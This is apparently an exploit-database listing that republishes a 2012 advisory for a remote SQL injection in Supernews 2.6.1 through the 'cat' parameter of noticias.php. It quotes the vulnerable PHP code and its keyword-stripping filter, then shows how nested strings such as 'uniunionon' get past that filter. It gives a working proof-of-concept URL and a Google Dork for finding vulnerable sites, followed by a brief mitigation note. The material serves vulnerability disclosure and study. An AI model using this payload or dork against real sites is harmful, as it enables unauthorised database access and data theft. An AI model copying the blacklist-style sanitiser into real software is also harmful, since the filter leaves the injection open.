Supernews - exploit.company

vendor:

Supernews

by:

Pr0T3cT10n

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Supernews

Affected Version From: 2.6.1

Affected Version To: 2.6.1

Patch Exists: NO

Related CWE: N/A

CPE: a:supernews:supernews

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

Supernews <= 2.6.1 (noticias.php cat) Remote SQL Injection

Supernews version 2.6.1 is vulnerable to a remote SQL injection vulnerability due to insufficient sanitization of user-supplied input. The vulnerable code is located in the noticias.php file, where the variable $idcategoria is not properly sanitized before being used in an SQL query. This can be exploited to inject arbitrary SQL code via the 'cat' parameter in a GET request. The filter function formatDados() can be bypassed by using strings such as 'uniunionon' and 'seleselectct' which will replace to clean 'union' and 'select' respectively. An example of a malicious request is http://www.example.com/noticias.php?cat=-1+uniunionon+seleselectct+1,version()--

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in an unsafe manner. Additionally, parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

##########################################################################
## Supernews <= 2.6.1 (noticias.php cat) Remote SQL Injection
## Google Dork: intext:"2003 - 2004 : SuperNews : Todos os direitos reservados"
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## Date: 31/05/2012
## Version: 2.6.1
## Software Link: http://phpbrasil.com/script/vT0FaOCySSH/supernews
## ISRAEL
##########################################################################
##          Author will be not responsible for any damage.
##########################################################################
## Vulnerable Code - noticias.php [30-31]:
30.	$idcategoria = formatDados($_GET['cat']);
31.	$query = mysql_query("SELECT id, categoria FROM {$prefixdb}notcategorias WHERE id=$idcategoria ORDER BY categoria");

## NOTE:
## As you can see there is filter to variable $idcategoria.

## Function code - funcao.php [106-112]:
106.function formatDados($data) { 
107.	$data = strip_tags($data);
108.	$data = trim($data);
109.	$data = get_magic_quotes_gpc() == 0 ? addslashes($data) : $data;
110.	$data = preg_replace("@(--|\#|\*|;|select|union|drop|insert|delete|xp_|\=| or |-shutdown|update| and |&|')@s", "", $data);
111.	return $data;
112.}

## As you can see, this function can be bypassed easily by the following example:
# string 'uniunionon' will replace to clean 'union'
# string 'seleselectct' will replace to clean 'select'

## SQL Injection PoC:
## http://www.example.com/noticias.php?cat=-1+uniunionon+seleselectct+1,version()--
##########################################################################
# Cya :)
# 0x31337.net
##########################################################################